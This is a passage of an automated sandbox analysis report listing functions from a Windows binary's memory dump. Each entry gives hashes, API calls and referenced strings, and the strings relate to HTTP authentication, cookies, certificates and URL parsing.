Opcode ID: dc9dd6f78c51c9d00d5e7a5a116f0ea754b32ee68f05b370b316dc6568bbd5a6
Instruction ID: fe60aea52afea9acdcb4531821706e57a769e4d3a61df8e90aa277888f990bc9
Opcode Fuzzy Hash: dc9dd6f78c51c9d00d5e7a5a116f0ea754b32ee68f05b370b316dc6568bbd5a6
Instruction Fuzzy Hash: 4CB18B62D08B8185E7248F69D4852BCBB61FF15B5CF744536CA4E822DADFBCE885C390

Function 00007FF6029FEB50 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FEC1A
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FEC68
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FECCB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FEE09

Part of subcall function 00007FF6029F2BB0: strchr.VCRUNTIME140(00000000,?,?,00007FF6029F216F), ref: 00007FF6029F2BF6
Part of subcall function 00007FF6029F2BB0: strchr.VCRUNTIME140(00000000,?,?,00007FF6029F216F), ref: 00007FF6029F2C06
Part of subcall function 00007FF6029F2BB0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,00007FF6029F216F), ref: 00007FF6029F2C30
Part of subcall function 00007FF6029F2BB0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F2C65
Part of subcall function 00007FF6029F2BB0: strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029F2C8A
Part of subcall function 00007FF6029F2BB0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029F2CAC

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029FEE94

Strings

GSSAPI handshake failure (empty challenge message), xrefs: 00007FF6029FED13
Kerberos, xrefs: 00007FF6029FEBE3, 00007FF6029FEC85
GSSAPI, xrefs: 00007FF6029FEB53

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdup$callocmallocstrchr$freestrncpy
String ID: GSSAPI$GSSAPI handshake failure (empty challenge message)$Kerberos
API String ID: 370574955-353107822
Opcode ID: 62b95cc9be84fab37b278ae00dd924208aa487661d2fb2e3ed9602513512a5c0
Instruction ID: 5f74730d6b02a5730e9c6c2ffff239d957d86df985a2155633267c36dfd1a9e4
Opcode Fuzzy Hash: 62b95cc9be84fab37b278ae00dd924208aa487661d2fb2e3ed9602513512a5c0
Instruction Fuzzy Hash: 9CA15032A09B458AEB918F66E4402AE3BB5FF44B9CF200035EE8D97769DF78D445C740

Function 00007FF6029B9AC5 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 206COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B9B0A
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B9B2A
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B9B7B

Part of subcall function 00007FF6029BB390: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BB396

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B9C81

Strings

Added, xrefs: 00007FF6029B9F1D
%s cookie %s="%s" for domain %s, path %s, expire %I64d, xrefs: 00007FF6029B9F27
Replaced, xrefs: 00007FF6029B9F11
FALSE, xrefs: 00007FF6029B9C5B

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdup
String ID: %s cookie %s="%s" for domain %s, path %s, expire %I64d$Added$FALSE$Replaced
API String ID: 1169197092-2292467869
Opcode ID: 2d088661407471c340e037e5bc677ccb42780f4bb53e5a0b769a2f71de486dc2
Instruction ID: a1914e80744aea64238f5f4929002b941c8015282d664dec1ce3c85127517fca
Opcode Fuzzy Hash: 2d088661407471c340e037e5bc677ccb42780f4bb53e5a0b769a2f71de486dc2
Instruction Fuzzy Hash: 69914021A1C78685FFB68B1796543B96FE4AF45748F240035DB8E82792DEACE484CB10

Function 00007FF6029B9BD3 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 169COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B9BD6
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B9C81

Strings

__Secure-, xrefs: 00007FF6029B9BF0
__Host-, xrefs: 00007FF6029B9C0D
Added, xrefs: 00007FF6029B9F1D
%s cookie %s="%s" for domain %s, path %s, expire %I64d, xrefs: 00007FF6029B9F27
Replaced, xrefs: 00007FF6029B9F11
FALSE, xrefs: 00007FF6029B9C5B

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdup
String ID: %s cookie %s="%s" for domain %s, path %s, expire %I64d$Added$FALSE$Replaced$__Host-$__Secure-
API String ID: 1169197092-978722393
Opcode ID: 5bdc410ad30d77e21f242e2b6b91bd660e22e76722d123371d2d807fa3d66e4f
Instruction ID: 6517dac76345415a9b00e4c850182dedae8443ddc0ce834002db79b521dac93e
Opcode Fuzzy Hash: 5bdc410ad30d77e21f242e2b6b91bd660e22e76722d123371d2d807fa3d66e4f
Instruction Fuzzy Hash: 55714F21A1C78685FFB68B17D6443796FA4AF4575CF244036DB8D82693DFACE484C710

Function 00007FF6029C4900 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 142stringCOMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C49DC
strchr.VCRUNTIME140 ref: 00007FF6029C4A10
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF6029C4A30
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C4AB4

Strings

anonymous, xrefs: 00007FF6029C4910
Connecting to port: %d, xrefs: 00007FF6029C4AD0
%s%s%s, xrefs: 00007FF6029C499F
Connecting to hostname: %s, xrefs: 00007FF6029C4A8B

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$strchrstrtol
String ID: %s%s%s$Connecting to hostname: %s$Connecting to port: %d$anonymous
API String ID: 137861075-1224060940
Opcode ID: e19e7a17892ef0fd4547017b0856966097517799dc59ca407be5fc436240d304
Instruction ID: 4d0de77765ef3f61eff3c03aa7e086f57d7a32e772f5ee932658ed972e5f8f0f
Opcode Fuzzy Hash: e19e7a17892ef0fd4547017b0856966097517799dc59ca407be5fc436240d304
Instruction Fuzzy Hash: 7F51BF22A08B9284EB319F12A8503AA6B90FF45FACF745535DE8D87696CFBCD641C700

Function 00007FF6029B4977 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 109COMMON

Download Yara Rule

Strings

Set-Cookie:, xrefs: 00007FF6029B4A98
ALL, xrefs: 00007FF6029B4983
SESS, xrefs: 00007FF6029B49C3
FLUSH, xrefs: 00007FF6029B4A03
RELOAD, xrefs: 00007FF6029B4A25

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: ALL$FLUSH$RELOAD$SESS$Set-Cookie:
API String ID: 1294909896-1147549499
Opcode ID: 385dc882819c52ca158ae66e1c8fc50eeaa61ac4709d9a297e49cd8d193e9647
Instruction ID: 8fce17ed5898bf484c561b10975f8e44fcec428d9b8c7716016c7c670df79a06
Opcode Fuzzy Hash: 385dc882819c52ca158ae66e1c8fc50eeaa61ac4709d9a297e49cd8d193e9647
Instruction Fuzzy Hash: 2F41B621F0C64341FA25AB1396612B96A95AF45BC8F745431DE0EC7BC7DFADE401A344

Function 00007FF6029E6C81 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 108stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140 ref: 00007FF6029E6C93
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029E6CAE
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029E6CDA
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E6CFF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E6DDC

Strings

Wildcard - Parsing started, xrefs: 00007FF6029E6D77

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdup$callocfreestrrchr
String ID: Wildcard - Parsing started
API String ID: 2641349667-2274641867
Opcode ID: d3206ece8c049ce406ef9530f267500809fa406ac983cff5e528a3274c83daa2
Instruction ID: 8bf88204823b269f21dd5b36135aa9d778c1f4134a5b307905454ac1f415a28a
Opcode Fuzzy Hash: d3206ece8c049ce406ef9530f267500809fa406ac983cff5e528a3274c83daa2
Instruction Fuzzy Hash: 16517E36A08B42C1EB55DF16E8501B93BA9FF94B48F654435CA4D8B396EFB8E455C300

Function 00007FF6029F73AC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029F73D3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F7933

Strings

Serial Number, xrefs: 00007FF6029F7862
Signature Algorithm, xrefs: 00007FF6029F7907
Serial Number: %s, xrefs: 00007FF6029F787C
Signature Algorithm: %s, xrefs: 00007FF6029F7921
FALSE, xrefs: 00007FF6029F73C8

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdup
String ID: Serial Number: %s$ Signature Algorithm: %s$FALSE$Serial Number$Signature Algorithm
API String ID: 2653869212-3672398475
Opcode ID: b407aa12ab9d603bb7481d1789e94b5a93f7aa65e4bcc9714295407214bc55c9
Instruction ID: a4de97a1da5216c552160381bb1558cc55dafd63af070e692ecfc9bdc691b24c
Opcode Fuzzy Hash: b407aa12ab9d603bb7481d1789e94b5a93f7aa65e4bcc9714295407214bc55c9
Instruction Fuzzy Hash: EA41A3A1F4878288EBA18B6694442FA6F65BF05B8CF680435DE4E9775BDFBCE154C300

Function 00007FF6029EF1F0 Relevance: 13.7, APIs: 3, Strings: 6, Instructions: 223COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF345
memcpy.VCRUNTIME140 ref: 00007FF6029EF362

Strings

file, xrefs: 00007FF6029EF20B
file://%s%s%s, xrefs: 00007FF6029EF23E
%s://%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s, xrefs: 00007FF6029EF532
%ld, xrefs: 00007FF6029EF2AE
%%25%s], xrefs: 00007FF6029EF372
https, xrefs: 00007FF6029EF280

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: mallocmemcpy
String ID: %%25%s]$%ld$%s://%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s$file$file://%s%s%s$https
API String ID: 4276657696-1832275178
Opcode ID: fd768c2aa5eae75a5a2e6dc2aa22c2356e80d146e042891e7013a1ccd583ede0
Instruction ID: 0f12cc3b6a0d9b15440156fd9297b11c023b6dd828744cd554f9db605e1939ab
Opcode Fuzzy Hash: fd768c2aa5eae75a5a2e6dc2aa22c2356e80d146e042891e7013a1ccd583ede0
Instruction Fuzzy Hash: 3DA15E72A09B8685EF658F12A5403B97BA4FF44B88F244136CE4D83B9AEF7CE444C700

Function 00007FF6029F825C Relevance: 13.7, APIs: 5, Strings: 4, Instructions: 174COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F829F
memcpy.VCRUNTIME140 ref: 00007FF6029F82C5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8398
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8409
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F84D2

Strings

Public Key Algorithm, xrefs: 00007FF6029F8488
Expire Date: %s, xrefs: 00007FF6029F83F7
Public Key Algorithm: %s, xrefs: 00007FF6029F84A2
Expire Date, xrefs: 00007FF6029F83DD

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$mallocmemcpy
String ID: Expire Date: %s$ Public Key Algorithm: %s$Expire Date$Public Key Algorithm
API String ID: 3401966785-2901970132
Opcode ID: d77bbf88a504c9176559139c5e71d2011c5d623afa97ab2ba937b66deb4465e9
Instruction ID: 94b631431a138a262661e8cc82edfad40765b9b5fd6e44776e9ddcdcef0a079b
Opcode Fuzzy Hash: d77bbf88a504c9176559139c5e71d2011c5d623afa97ab2ba937b66deb4465e9
Instruction Fuzzy Hash: C961E561A4878249EBD9872284142FA2FA1FF05B9CF244535EE5F8B7D6EEBCE145C300

Function 00007FF6029F76E6 Relevance: 13.7, APIs: 5, Strings: 4, Instructions: 169COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F771F
memcpy.VCRUNTIME140 ref: 00007FF6029F774A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F7933

Strings

Serial Number, xrefs: 00007FF6029F7862
Signature Algorithm, xrefs: 00007FF6029F7907
Serial Number: %s, xrefs: 00007FF6029F787C
Signature Algorithm: %s, xrefs: 00007FF6029F7921

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$mallocmemcpy
String ID: Serial Number: %s$ Signature Algorithm: %s$Serial Number$Signature Algorithm
API String ID: 3401966785-517259162
Opcode ID: 5b4011869b0755b7bd384421eda15a8f17f7ed763e6d0546f24f4cd3c10d53e7
Instruction ID: 0ed92f9b29009a5bdd4bed0e71a2729362026430792eec994b96327d1561c1b3
Opcode Fuzzy Hash: 5b4011869b0755b7bd384421eda15a8f17f7ed763e6d0546f24f4cd3c10d53e7
Instruction Fuzzy Hash: 12610351E4878245EBD887A284542FA6F91AF05B8CF284535EA0F8B78BEEACE145C300

Function 00007FF6029F1790 Relevance: 13.6, APIs: 5, Strings: 4, Instructions: 148COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,?,00000000,?,NTLM,?,00007FF6029D4DF8), ref: 00007FF6029F1920
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,?,00000000,?,NTLM,?,00007FF6029D4DF8), ref: 00007FF6029F1957
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000000,?,00000000,?,NTLM,?,00007FF6029D4DF8), ref: 00007FF6029F197E

Strings

Proxy-, xrefs: 00007FF6029F192E, 00007FF6029F19DA
HTTP, xrefs: 00007FF6029F17A6
NTLM, xrefs: 00007FF6029F1796
%sAuthorization: NTLM %s, xrefs: 00007FF6029F1938, 00007FF6029F19E4

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: %sAuthorization: NTLM %s$HTTP$NTLM$Proxy-
API String ID: 1294909896-3948863929
Opcode ID: e9e475ad4b3651e4003d17a8e6ef36f07f97d20f7521292248c766d0bd55578f
Instruction ID: cfe99a2a142c785c02dd4ab5ef21b924b4da5d020048a893378abe157adc62a1
Opcode Fuzzy Hash: e9e475ad4b3651e4003d17a8e6ef36f07f97d20f7521292248c766d0bd55578f
Instruction Fuzzy Hash: 6C614A32A08B8285EBA08F16E4443AB7BA5FB44B88F204036EA8D87795DFBCD545C741

Function 00007FF6029E8420 Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 111stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029BB430: __stdio_common_vsscanf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6029BB474

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029E853D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E8595
memcpy.VCRUNTIME140 ref: 00007FF6029E85BA

Strings

: %ld, xrefs: 00007FF6029E8461
CSeq:, xrefs: 00007FF6029E843D
Unable to read the CSeq header: [%s], xrefs: 00007FF6029E8492
Got RTSP Session ID Line [%s], but wanted ID [%s], xrefs: 00007FF6029E854E
Session:, xrefs: 00007FF6029E84AE
Got a blank Session ID, xrefs: 00007FF6029E84E7

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: __stdio_common_vsscanfmallocmemcpystrncmp
String ID: : %ld$CSeq:$Got RTSP Session ID Line [%s], but wanted ID [%s]$Got a blank Session ID$Session:$Unable to read the CSeq header: [%s]
API String ID: 1392894463-1168109407
Opcode ID: 9ee667e3ef2b8362d973f2be99724709101bc31ecf6e59961fe177d2da80cc60
Instruction ID: 46216fba4085151d26714448d049c4c49038b3aaa79ec7e736bd70753a1b196c
Opcode Fuzzy Hash: 9ee667e3ef2b8362d973f2be99724709101bc31ecf6e59961fe177d2da80cc60
Instruction Fuzzy Hash: 1641C431A0868282EF509B6694402B96F91FF45BDCF684136EA5EDB2D7FF6CE505C310

Function 00007FF6029FC530 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 252stringCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FC5C8
realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FC624
strchr.VCRUNTIME140 ref: 00007FF6029FC80C
strchr.VCRUNTIME140 ref: 00007FF6029FC87A

Strings

<DIR>, xrefs: 00007FF6029FC750
0123456789-, xrefs: 00007FF6029FC873
APM0123456789:, xrefs: 00007FF6029FC805

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: strchr$mallocrealloc
String ID: 0123456789-$<DIR>$APM0123456789:
API String ID: 359134164-4291660576
Opcode ID: f6c3b07ae69c7a76d4dcae46c8e10b4f490ffa99a37a4308854842f81971856a
Instruction ID: c09fab62639db5c8b0456138a432552b488fd79385f179f404064f107fd57b8a
Opcode Fuzzy Hash: f6c3b07ae69c7a76d4dcae46c8e10b4f490ffa99a37a4308854842f81971856a
Instruction Fuzzy Hash: DFB16D36A4974686EBE4CF26D05033A6BA0FF45B5CF288036DA4E87796DFB8E451C350

Function 00007FF6029CDC80 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 227networkCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029CDCDA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029CDDDE
WSAIoctl.WS2_32 ref: 00007FF6029CDF37
setsockopt.WS2_32 ref: 00007FF6029CDF5F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029CE056

Strings

Failed to alloc scratch buffer!, xrefs: 00007FF6029CDDF0
We are completely uploaded and fine, xrefs: 00007FF6029CDFCA

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: malloc$Ioctlsetsockopt
String ID: Failed to alloc scratch buffer!$We are completely uploaded and fine
API String ID: 3352517165-607151321
Opcode ID: b9627e339377f4afc09bd61a2b3bbe61811f8332dd5050806245f8fe69c5be20
Instruction ID: 44bb43805c573ab6b70d782cdf3ab6d1395b93bc3f984752e2f550291d8a88f7
